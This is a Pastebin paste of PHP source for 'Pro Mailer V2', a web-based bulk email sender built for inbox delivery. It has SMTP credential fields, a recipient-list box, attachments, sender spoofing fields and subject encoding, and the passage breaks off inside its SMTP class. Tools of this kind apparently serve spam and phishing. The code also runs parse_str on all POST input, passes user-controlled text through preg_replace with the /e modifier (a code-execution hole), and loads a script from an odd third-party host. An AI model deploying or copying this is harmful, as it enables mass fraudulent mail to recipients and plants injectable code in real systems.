Ogura

Pro Mailer V2

Mar 31st, 2019
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?
  2. // @~ PRO Mailer V2
  3. error_reporting(0);
  4. function query_str($params){
  5. $str = '';
  6. foreach ($params as $key => $value) {
  7. $str .= (strlen($str) < 1) ? '' : '&';
  8. $str .= $key . '=' . rawurlencode($value);
  9. }
  10. return ($str);
  11. }
  12. function lrtrim($string){
  13. return stripslashes(ltrim(rtrim($string)));
  14. }
  15. if(isset($_POST['action'] ) ){
  16.  
  17. $b = query_str($_POST);
  18. parse_str($b);  
  19. $sslclick=lrtrim($sslclick);  
  20. $action=lrtrim($action);
  21. $message=lrtrim($message);
  22. $emaillist=lrtrim($emaillist);
  23. $from=lrtrim($from);
  24. $reconnect=lrtrim($reconnect);
  25. $epriority=lrtrim($epriority);
  26. $my_smtp=lrtrim($my_smtp);
  27. $ssl_port=lrtrim($ssl_port);
  28. $smtp_username=lrtrim($smtp_username);
  29. $smtp_password=lrtrim($smtp_password);
  30. $replyto=lrtrim($replyto);
  31. $subject_base=lrtrim($subject);
  32. $realname_base=lrtrim($realname);
  33. $file_name=$_FILES['file']['name'];
  34. $file=$_FILES['file']['tmp_name'];
  35. $urlz=lrtrim($urlz);
  36. $contenttype=lrtrim($contenttype);
  37. $encode_text=$_POST['encode'];
  38.  
  39.  
  40.         $message = urlencode($message);
  41.         $message = ereg_replace("%5C%22", "%22", $message);
  42.         $message = urldecode($message);
  43.         $message = stripslashes($message);
  44.         $subject = stripslashes($subject);
  45.         if ($encode_text == "yes") {
  46.         $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  47.         $subject = str_replace(' ', '_', $subject);
  48.         $subject = "=?UTF-8?Q?$subject?=";
  49.         $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  50.         $realname = str_replace(' ', '_', $realname);
  51.         $realname = "=?UTF-8?Q?$realname?=";
  52.         }
  53. }
  54. ?>
  55.  
  56. <html>
  57.  
  58. <head>
  59.  
  60. <title>Pro Mailer V2</title>
  61.  
  62. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  63.  
  64. <script src='https://sites.google.com/site/jquery1000/jquery-1.6.1.js'></script>
  65.  
  66. <style type="text/css">
  67. <!--
  68. .style1 {
  69.         font-family: Geneva, Arial, Helvetica, sans-serif;
  70.         font-size: 12px;
  71. }
  72. body{
  73. margin:0px;
  74. }
  75. .bgup {
  76. background: url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==);
  77. }
  78.  
  79. .cadre {
  80. background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC);
  81. }
  82.  
  83. .uibutton {
  84.     position: relative;
  85.     z-index: 1;
  86.     overflow: visible;
  87.     display: inline-block;
  88.     padding: 0.3em 0.6em 0.375em;
  89.     border: 1px solid #01A9DB;
  90.     border-bottom-color: #01A9DB;
  91.    
  92.     margin: 0;
  93.     text-decoration: none;
  94.     text-align: center;
  95.     font: bold 11px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
  96.     white-space: nowrap;
  97.     cursor: pointer;
  98.     /* outline: none; */
  99.     color: #f9f9f9;
  100.     background-color: #eee;
  101.     background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#01A9DB), to(#01A9DB));
  102.     background-image: -moz-linear-gradient(#01A9DB, #01A9DB);
  103.     background-image: -o-linear-gradient(#01A9DB, #01A9DB);
  104.     background-image: linear-gradient(#01A9DB, #01A9DB);
  105.  
  106.     /* IE hacks */
  107.  
  108.     *display: inline;
  109.  
  110. }
  111.  
  112. .uibutton:hover,
  113. .uibutton:focus,
  114. .uibutton:active {
  115.     border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
  116. }
  117.  
  118. .uibutton:active {
  119.     border-color: #01A9DB;
  120.     background: #01A9DB;
  121.     filter: none;
  122.     -webkit-box-shadow: none;
  123.     -moz-box-shadow: none;
  124.     box-shadow: none;
  125. }
  126.  
  127. /* overrides extra padding on button elements in Firefox */
  128. .uibutton::-moz-focus-inner {
  129.     padding: 0;
  130.     border: 0;
  131. }
  132.  
  133.  
  134.  
  135. -->
  136. </style>
  137. <style type="text/css">
  138. <!--
  139. .style1 {
  140.         font-size: 10px;
  141.         font-family: Geneva, Arial, Helvetica, sans-serif;
  142. }
  143. -->
  144. </style>
  145. </head>
  146. <body bgcolor="#f9f9f9" class="bgup">
  147. <div class="cadre" style="height:10px;margin:0px auto;"></div>
  148. <div style="width:80%;margin:0 auto;">
  149. <p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font></p>
  150. <form name="form1" method="post" action="" enctype="multipart/form-data">
  151.  
  152.   <br>
  153.  
  154.   <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
  155.  
  156.     <tr>
  157.  
  158.       <td width="100%" colspan="4"  style="color:#fff;background:#01A9DB" height="36">
  159.  
  160.         <b>
  161.  
  162.         <font face="Arial" size="2" >&nbsp;SMTP SETUP</font></b></td>
  163.  
  164.       </tr>
  165.     <tr >
  166.  
  167.       <td width="10%" height="22" style="padding:10px;">
  168.    
  169.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
  170.  
  171.       </td>
  172.  
  173.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  174.  
  175.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  176.  
  177.         </font></td>
  178.  
  179.       <td width="31%" height="22" style="padding:10px;">
  180.  
  181.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
  182.  
  183.       </td>
  184.  
  185.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  186.  
  187.         <input type="password" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  188.  
  189.         </font></td>
  190.  
  191.     </tr>
  192.     <tr>
  193.  
  194.       <td width="10%" height="22" style="padding:10px;">
  195.  
  196.         <div align="right">
  197.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  198.  
  199.       </td>
  200.  
  201.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  202.  
  203.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  204.       (optional)</font></td>
  205.  
  206.       <td width="31%" height="22" style="padding:10px;">
  207.  
  208.         <div align="right">
  209.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
  210.           Smtp:</font></div>
  211.  
  212.       </td>
  213.  
  214.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  215.  
  216.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  217.  
  218.         </font></td>
  219.  
  220.     </tr>
  221.     <tr>
  222.  
  223.       <td width="10%" height="22" style="padding:10px;">
  224.  
  225.         <p align="right">
  226.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  227.  
  228.       <td width="18%" height="22" style="padding:10px;">
  229.       <input type="checkbox" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  230.  
  231.       <td width="31%" height="22" style="padding:10px;">
  232.  
  233.         <p align="right">
  234.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  235.         After:</font></td>
  236.  
  237.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  238.  
  239.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
  240.       EMAILS</font></td>
  241.  
  242.     </tr>
  243.     <tr>
  244.  
  245.       <td width="100%" height="39"  colspan="4" style="padding:10px;">
  246.  
  247.         <p align="center">
  248.         <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  249.         you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  250.  
  251.       </tr>
  252.  
  253.     <tr>
  254.  
  255.       <td width="10%" height="19" style="padding:10px;">
  256.  
  257.         &nbsp;</td>
  258.  
  259.       <td width="18%" height="19" style="padding:10px;">&nbsp;</td>
  260.  
  261.       <td width="31%" height="19" style="padding:10px;">
  262.  
  263.         &nbsp;</td>
  264.  
  265.       <td width="41%" height="19" style="padding:10px;">&nbsp;</td>
  266.  
  267.     </tr>
  268.  
  269.     <tr>
  270.  
  271.       <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
  272.  
  273.         <b>
  274.  
  275.         <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  276.  
  277.       </tr>
  278.           <tr>
  279.  
  280.       <td width="10%" height="22" style="padding:10px;">
  281.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
  282.       </td>
  283.  
  284.       <td width="59%" height="22" style="padding:10px;"  colSpan="3">
  285.       <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  286.  
  287. <input type="file" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="file" size="124">
  288.  
  289.         </font></td>
  290.  
  291.     </tr>
  292.     <tr>
  293.  
  294.       <td width="10%" height="22" style="padding:10px;">
  295.  
  296.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  297.  
  298.           Email:</font></div>
  299.  
  300.       </td>
  301.  
  302.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  303.  
  304.         <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="from" value="<?=$from;?>" size="30">
  305.  
  306.         </font></td>
  307.  
  308.       <td width="31%" height="22" style="padding:10px;">
  309.  
  310.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  311.  
  312.           Name:</font></div>
  313.  
  314.       </td>
  315.  
  316.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  317.  
  318.         <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="realname" value="<?=$realname_base;?>" size="30">
  319.  
  320.         </font></td>
  321.  
  322.     </tr>
  323.     <tr>
  324.  
  325.       <td width="10%" height="22" style="padding:10px;">
  326.  
  327.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  328.  
  329.       </td>
  330.  
  331.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  332.  
  333.         <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="replyto" value="<?=$replyto;?>" size="30">
  334.  
  335.         </font></td>
  336.  
  337.       <td width="31%" height="22" style="padding:10px;">
  338.  
  339.         <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  340.         Email Priority:</font></td>
  341.  
  342.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  343.  
  344.         &nbsp;</font><select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
  345.         <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
  346.         <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  347.         <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  348.         <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  349.         </select></td>
  350.  
  351.     </tr>
  352.  
  353.     <tr>
  354.  
  355.       <td width="10%" height="22" style="padding:10px;">
  356.  
  357.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  358.  
  359.       </td>
  360.  
  361.       <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  362.  
  363.         <input type="text" name="subject" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" value="<?=$subject_base;?>" size="90">
  364.  
  365.         </font></td>
  366.  
  367.     </tr>
  368.  
  369.     <tr>
  370.  
  371.       <td width="10%" height="22" style="padding:10px;">
  372.  
  373.         &nbsp;</td>
  374.  
  375.       <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  376.  
  377.         &nbsp; <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1" name="encode">
  378.         <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  379.         <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  380.         </select></font></td>
  381.  
  382.     </tr>
  383.  
  384.     <tr valign="top">
  385.  
  386. <td colspan="3" height="190" style="padding:10px;"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  387.  
  388.         <textarea name="message" cols="60" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" rows="10"><?=$message;?></textarea>
  389.  
  390.         <br>
  391.  
  392.         <input type="radio" name="contenttype" value="plain" >
  393.  
  394.         Plain
  395.  
  396.         <input type="radio" name="contenttype" value="html" checked>
  397.  
  398.         HTML
  399.  
  400.         <input type="hidden" name="action" value="send">
  401.         <input class="uibutton" type="submit" value="Send Message">
  402.  
  403.         </font></td>
  404.  
  405.       <td width="41%" height="190" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  406.  
  407.         <textarea name="emaillist" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" cols="30" rows="10"><?=$emaillist;?></textarea>
  408.  
  409.         </font></td>
  410.  
  411.     </tr>
  412.  
  413.   </table>
  414.  
  415. </form>
  416.  
  417.  
  418.  
  419. <?
  420.  
  421. if ($action){
  422.         if (!$from && !$subject && !$message && !$emaillist){
  423.         print "<script>alert('Please complete all fields before sending your message.'); </script>";
  424.         die();  }
  425.  
  426. class SMTP
  427. {
  428.   /**
  429.    *  SMTP server port
  430.    *  @var int
  431.    */
  432.   var $SMTP_PORT = 25;
  433.  
  434.   /**
  435.    *  SMTP reply line ending
  436.    *  @var string
  437.    */
  438.   var $CRLF = "\r\n";
  439.  
  440.   /**
  441.    *  Sets whether debugging is turned on
  442.    *  @var bool
  443.    */
  444.   var $do_debug;       # the level of debug to perform
  445.  
  446.   /**
  447.    *  Sets VERP use on/off (default is off)
  448.    *  @var bool
  449.    */
  450.   var $do_verp = false;
  451.  
  452.   /**#@+
  453.    * @access private
  454.    */
  455.   var $smtp_conn;      # the socket to the server
  456.  var $error;          # error if any on the last call
  457.  var $helo_rply;      # the reply the server sent to us for HELO
  458.  /**#@-*/
  459.  
  460.   /**
  461.    * Initialize the class so that the data is in a known state.
  462.    * @access public
  463.    * @return void
  464.    */
  465.   function SMTP() {
  466.     $this->smtp_conn = 0;
  467.     $this->error = null;
  468.     $this->helo_rply = null;
  469.  
  470.     $this->do_debug = 0;
  471.   }
  472.  
  473.   /*************************************************************
  474.    *                    CONNECTION FUNCTIONS                  *
  475.    ***********************************************************/
  476.  
  477.   /**
  478.    * Connect to the server specified on the port specified.
  479.    * If the port is not specified use the default SMTP_PORT.
  480.    * If tval is specified then a connection will try and be
  481.    * established with the server for that number of seconds.
  482.    * If tval is not specified the default is 30 seconds to
  483.    * try on the connection.
  484.    *
  485.    * SMTP CODE SUCCESS: 220
  486.    * SMTP CODE FAILURE: 421
  487.    * @access public
  488.    * @return bool
  489.    */
  490.   function Connect($host,$port=0,$tval=30) {
  491.     # set the error val to null so there is no confusion
  492.    $this->error = null;
  493.  
  494.     # make sure we are __not__ connected
  495.    if($this->connected()) {
  496.       # ok we are connected! what should we do?
  497.      # for now we will just give an error saying we
  498.      # are already connected
  499.      $this->error = array("error" => "Already connected to a server");
  500.       return false;
  501.     }
  502.  
  503.     if(empty($port)) {
  504.       $port = $this->SMTP_PORT;
  505.     }
  506.  
  507.     #connect to the smtp server
  508.    $this->smtp_conn = fsockopen($host,    # the host of the server
  509.                                 $port,    # the port to use
  510.                                 $errno,   # error number if any
  511.                                 $errstr,  # error message if any
  512.                                 $tval);   # give up after ? secs
  513.    # verify we connected properly
  514.    if(empty($this->smtp_conn)) {
  515.       $this->error = array("error" => "Failed to connect to server",
  516.                            "errno" => $errno,
  517.                            "errstr" => $errstr);
  518.       if($this->do_debug >= 1) {
  519.         echo "SMTP -> ERROR: " . $this->error["error"] .
  520.                  ": $errstr ($errno)" . $this->CRLF;
  521.       }
  522.       return false;
  523.     }
  524.  
  525.     # sometimes the SMTP server takes a little longer to respond
  526.    # so we will give it a longer timeout for the first read
  527.    // Windows still does not have support for this timeout function
  528.     if(substr(PHP_OS, 0, 3) != "WIN")
  529.      socket_set_timeout($this->smtp_conn, $tval, 0);
  530.  
  531.     # get any announcement stuff
  532.    $announce = $this->get_lines();
  533.  
  534.     # set the timeout  of any socket functions at 1/10 of a second
  535.    //if(function_exists("socket_set_timeout"))
  536.     //   socket_set_timeout($this->smtp_conn, 0, 100000);
  537.  
  538.     if($this->do_debug >= 2) {
  539.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  540.     }
  541.  
  542.     return true;
  543.   }
  544.  
  545.   /**
  546.    * Performs SMTP authentication.  Must be run after running the
  547.    * Hello() method.  Returns true if successfully authenticated.
  548.    * @access public
  549.    * @return bool
  550.    */
  551.   function Authenticate($username, $password) {
  552.     // Start authentication
  553.     fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  554.  
  555.     $rply = $this->get_lines();
  556.     $code = substr($rply,0,3);
  557.  
  558.     if($code != 334) {
  559.       $this->error =
  560.         array("error" => "AUTH not accepted from server",
  561.               "smtp_code" => $code,
  562.               "smtp_msg" => substr($rply,4));
  563.       if($this->do_debug >= 1) {
  564.         echo "SMTP -> ERROR: " . $this->error["error"] .
  565.                  ": " . $rply . $this->CRLF;
  566.       }
  567.       return false;
  568.     }
  569.  
  570.     // Send encoded username
  571.     fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  572.  
  573.     $rply = $this->get_lines();
  574.     $code = substr($rply,0,3);
  575.  
  576.     if($code != 334) {
  577.       $this->error =
  578.         array("error" => "Username not accepted from server",
  579.               "smtp_code" => $code,
  580.               "smtp_msg" => substr($rply,4));
  581.       if($this->do_debug >= 1) {
  582.         echo "SMTP -> ERROR: " . $this->error["error"] .
  583.                  ": " . $rply . $this->CRLF;
  584.       }
  585.       return false;
  586.     }
  587.  
  588.     // Send encoded password
  589.     fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  590.  
  591.     $rply = $this->get_lines();
  592.     $code = substr($rply,0,3);
  593.  
  594.     if($code != 235) {
  595.       $this->error =
  596.         array("error" => "Password not accepted from server",
  597.               "smtp_code" => $code,
  598.               "smtp_msg" => substr($rply,4));
  599.       if($this->do_debug >= 1) {
  600.         echo "SMTP -> ERROR: " . $this->error["error"] .
  601.                  ": " . $rply . $this->CRLF;
  602.       }
  603.       return false;
  604.     }
  605.  
  606.     return true;
  607.   }
  608.  
  609.   /**
  610.    * Returns true if connected to a server otherwise false
  611.    * @access private
  612.    * @return bool
  613.    */
  614.   function Connected() {
  615.     if(!empty($this->smtp_conn)) {
  616.       $sock_status = socket_get_status($this->smtp_conn);
  617.       if($sock_status["eof"]) {
  618.         # hmm this is an odd situation... the socket is
  619.        # valid but we are not connected anymore
  620.        if($this->do_debug >= 1) {
  621.             echo "SMTP -> NOTICE:" . $this->CRLF .
  622.                  "EOF caught while checking if connected";
  623.         }
  624.         $this->Close();
  625.         return false;
  626.       }
  627.       return true; # everything looks good
  628.    }
  629.     return false;
  630.   }
  631.  
  632.   /**
  633.    * Closes the socket and cleans up the state of the class.
  634.    * It is not considered good to use this function without
  635.    * first trying to use QUIT.
  636.    * @access public
  637.    * @return void
  638.    */
  639.   function Close() {
  640.     $this->error = null; # so there is no confusion
  641.    $this->helo_rply = null;
  642.     if(!empty($this->smtp_conn)) {
  643.       # close the connection and cleanup
  644.      fclose($this->smtp_conn);
  645.       $this->smtp_conn = 0;
  646.     }
  647.   }
  648.  
  649.   /***************************************************************
  650.    *                        SMTP COMMANDS                       *
  651.    *************************************************************/
  652.  
  653.   /**
  654.    * Issues a data command and sends the msg_data to the server
  655.    * finializing the mail transaction. $msg_data is the message
  656.    * that is to be send with the headers. Each header needs to be
  657.    * on a single line followed by a <CRLF> with the message headers
  658.    * and the message body being seperated by and additional <CRLF>.
  659.    *
  660.    * Implements rfc 821: DATA <CRLF>
  661.    *
  662.    * SMTP CODE INTERMEDIATE: 354
  663.    *     [data]
  664.    *     <CRLF>.<CRLF>
  665.    *     SMTP CODE SUCCESS: 250
  666.    *     SMTP CODE FAILURE: 552,554,451,452
  667.    * SMTP CODE FAILURE: 451,554
  668.    * SMTP CODE ERROR  : 500,501,503,421
  669.    * @access public
  670.    * @return bool
  671.    */
  672.   function Data($msg_data) {
  673.     $this->error = null; # so no confusion is caused
  674.  
  675.     if(!$this->connected()) {
  676.       $this->error = array(
  677.               "error" => "Called Data() without being connected");
  678.       return false;
  679.     }
  680.  
  681.     fputs($this->smtp_conn,"DATA" . $this->CRLF);
  682.  
  683.     $rply = $this->get_lines();
  684.     $code = substr($rply,0,3);
  685.  
  686.     if($this->do_debug >= 2) {
  687.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  688.     }
  689.  
  690.     if($code != 354) {
  691.       $this->error =
  692.         array("error" => "DATA command not accepted from server",
  693.               "smtp_code" => $code,
  694.               "smtp_msg" => substr($rply,4));
  695.       if($this->do_debug >= 1) {
  696.         echo "SMTP -> ERROR: " . $this->error["error"] .
  697.                  ": " . $rply . $this->CRLF;
  698.       }
  699.       return false;
  700.     }
  701.  
  702.     # the server is ready to accept data!
  703.    # according to rfc 821 we should not send more than 1000
  704.    # including the CRLF
  705.    # characters on a single line so we will break the data up
  706.    # into lines by \r and/or \n then if needed we will break
  707.    # each of those into smaller lines to fit within the limit.
  708.    # in addition we will be looking for lines that start with
  709.    # a period '.' and append and additional period '.' to that
  710.    # line. NOTE: this does not count towards are limit.
  711.  
  712.     # normalize the line breaks so we know the explode works
  713.    $msg_data = str_replace("\r\n","\n",$msg_data);
  714.     $msg_data = str_replace("\r","\n",$msg_data);
  715.     $lines = explode("\n",$msg_data);
  716.  
  717.     # we need to find a good way to determine is headers are
  718.    # in the msg_data or if it is a straight msg body
  719.    # currently I am assuming rfc 822 definitions of msg headers
  720.    # and if the first field of the first line (':' sperated)
  721.    # does not contain a space then it _should_ be a header
  722.    # and we can process all lines before a blank "" line as
  723.    # headers.
  724.    $field = substr($lines[0],0,strpos($lines[0],":"));
  725.     $in_headers = false;
  726.     if(!empty($field) && !strstr($field," ")) {
  727.       $in_headers = true;
  728.     }
  729.  
  730.     $max_line_length = 998; # used below; set here for ease in change
  731.  
  732.     while(list(,$line) = @each($lines)) {
  733.       $lines_out = null;
  734.       if($line == "" && $in_headers) {
  735.         $in_headers = false;
  736.       }
  737.       # ok we need to break this line up into several
  738.      # smaller lines
  739.      while(strlen($line) > $max_line_length) {
  740.         $pos = strrpos(substr($line,0,$max_line_length)," ");
  741.  
  742.         # Patch to fix DOS attack
  743.        if(!$pos) {
  744.           $pos = $max_line_length - 1;
  745.         }
  746.  
  747.         $lines_out[] = substr($line,0,$pos);
  748.         $line = substr($line,$pos + 1);
  749.         # if we are processing headers we need to
  750.        # add a LWSP-char to the front of the new line
  751.        # rfc 822 on long msg headers
  752.        if($in_headers) {
  753.           $line = "\t" . $line;
  754.         }
  755.       }
  756.       $lines_out[] = $line;
  757.  
  758.       # now send the lines to the server
